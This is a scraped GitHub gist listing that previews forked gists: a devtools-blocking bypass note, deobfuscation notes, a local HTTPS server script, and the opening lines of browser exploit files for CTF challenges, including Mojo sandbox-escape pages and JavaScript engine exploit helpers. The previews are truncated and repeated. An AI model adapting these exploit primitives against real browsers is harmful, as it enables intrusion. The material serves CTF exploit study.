Vigi Zhang VigiZhang

## bypass-disable-devtool.md

      
              1 file
            
          
              0 forks
            
          
                0 comments
              
            
              0 stars
            
          
                VigiZhang
                / bypass-disable-devtool.md
            
            
              Created
              September 23, 2025 08:33
                — forked from aravindanve/bypass-disable-devtool.md
            
              
                Bypass disable-devtool
              
          
    Bypass disable-devtool

(Working as of 2025-02-09)
There are websites that use disable-devtool to prevent you from opening or using devtools. They typically prevent you from right clicking or using the keyboard shortcut to open devtools. Even if you successfully do so, they detect it and redirect you elsewhere. You can bypass this by using one of the following ways.
Opening devtools

If the shortcut F12 on Windows or Option + ⌘ + I on Mac do not work. Press the three vertically aligned dots in the top right corner of your Google Chrome or Microsoft Edge window. Under the section "More Tools", you'll see the option to select "Developer Tools" which opens the toolkit in your window.

  
## _deobfuscating-unminifying-obfuscated-web-app-code.md

      
              3 files
            
          
              0 forks
            
          
                0 comments
              
            
              0 stars
            
          
                VigiZhang
                / _deobfuscating-unminifying-obfuscated-web-app-code.md
            
            
              Created
              January 10, 2025 07:45
                — forked from 0xdevalias/_deobfuscating-unminifying-obfuscated-web-app-code.md
            
              
                Some notes and tools for reverse engineering / deobfuscating / unminifying obfuscated web app code
              
          
    Deobfuscating / Unminifying Obfuscated Web App / JavaScript Code

Table of Contents


PoC
Tools

Unsorted


wakaru


## python3_https_server.py
#!/usr/bin/env python3
# python3 update of https://gist.github.com/dergachev/7028596
# Create a basic certificate using openssl:
#     openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
# Or to set CN, SAN and/or create a cert signed by your own root CA: https://thegreycorner.com/pentesting_stuff/writeups/selfsignedcert.html

import http.server
import ssl

httpd = http.server.HTTPServer(('127.0.0.1', 443), http.server.SimpleHTTPRequestHandler)

## redpwn-empires.html
<html>
  <head>
    <title>RedPwn sbx-1</title>
  </head>
  <body>
    <h1>:thonk:</h1>
    <pre id='log'></pre>
  </body>
  <script src='./mojo_bindings.js'></script>
  <script src='./third_party/blink/public/mojom/desert.mojom.js'></script>

## 0ctf2020-fullchain++-cfi.html
<html>
  <head>
    <title>0ctf sbx</title>
  </head>
  <body>
    <h1>HK</h1>
    <pre id='log'></pre>
  </body>
  <script src='./mojo_bindings.js'></script>
  <script src='./mojo_js/third_party/blink/public/mojom/tstorage/tstorage.mojom.js'></script>

## corctf_outfoxed.md

      
              1 file
            
          
              0 forks
            
          
                0 comments
              
            
              0 stars
            
          
                VigiZhang
                / corctf_outfoxed.md
            
            
              Created
              April 20, 2022 01:41
                — forked from hkraw/corctf_outfoxed.md
            
              
                first firefox pwn
              
          
    outfoxed exp (First Blood)

let pwn = async function() {
  /* Helpers */
  let conversionBuffer = new ArrayBuffer(0x40)
  let floatView = new Float64Array(conversionBuffer)
  let intView = new BigUint64Array(conversionBuffer)

  BigInt.prototype.i2f = function() {
    intView[0] = this

  
## index.html
<html>
  <head>
    <title>google-ctf fullchain</title>
  </head>
  <body>
    <h1>HK</h1>
    <pre id='log'></pre>
  </body>
  <script src='./mojo/mojo_bindings.js'></script>
  <script src="./mojo/third_party/blink/public/mojom/blob/blob_registry.mojom.js"></script>

## WX_bypass.js
class Helpers {
    constructor() {
        this.addrof_LO = new Array(1048577);

        this.buf = new ArrayBuffer(8);
        this.f64 = new Float64Array(this.buf);
        this.f32 = new Float32Array(this.buf);
        this.u32 = new Uint32Array(this.buf);
        this.u64 = new BigUint64Array(this.buf);
        this.state = {};

## concat_exploit.js
class Helpers {
    constructor() {
        this.buf = new ArrayBuffer(8);
        this.f64 = new Float64Array(this.buf);
        this.f32 = new Float32Array(this.buf);
        this.u32 = new Uint32Array(this.buf);
        this.u64 = new BigUint64Array(this.buf);
        this.state = {};
    }
	#!/usr/bin/env python3
	# python3 update of https://gist.github.com/dergachev/7028596
	# Create a basic certificate using openssl:
	# openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
	# Or to set CN, SAN and/or create a cert signed by your own root CA: https://thegreycorner.com/pentesting_stuff/writeups/selfsignedcert.html

	import http.server
	import ssl

	httpd = http.server.HTTPServer(('127.0.0.1', 443), http.server.SimpleHTTPRequestHandler)
	<html>
	<head>
	<title>RedPwn sbx-1</title>
	</head>
	<body>
	<h1>:thonk:</h1>
	<pre id='log'></pre>
	</body>
	<script src='./mojo_bindings.js'></script>
	<script src='./third_party/blink/public/mojom/desert.mojom.js'></script>
	<html>
	<head>
	<title>0ctf sbx</title>
	</head>
	<body>
	<h1>HK</h1>
	<pre id='log'></pre>
	</body>
	<script src='./mojo_bindings.js'></script>
	<script src='./mojo_js/third_party/blink/public/mojom/tstorage/tstorage.mojom.js'></script>
	<html>
	<head>
	<title>google-ctf fullchain</title>
	</head>
	<body>
	<h1>HK</h1>
	<pre id='log'></pre>
	</body>
	<script src='./mojo/mojo_bindings.js'></script>
	<script src="./mojo/third_party/blink/public/mojom/blob/blob_registry.mojom.js"></script>
	class Helpers {
	constructor() {
	this.addrof_LO = new Array(1048577);

	this.buf = new ArrayBuffer(8);
	this.f64 = new Float64Array(this.buf);
	this.f32 = new Float32Array(this.buf);
	this.u32 = new Uint32Array(this.buf);
	this.u64 = new BigUint64Array(this.buf);
	this.state = {};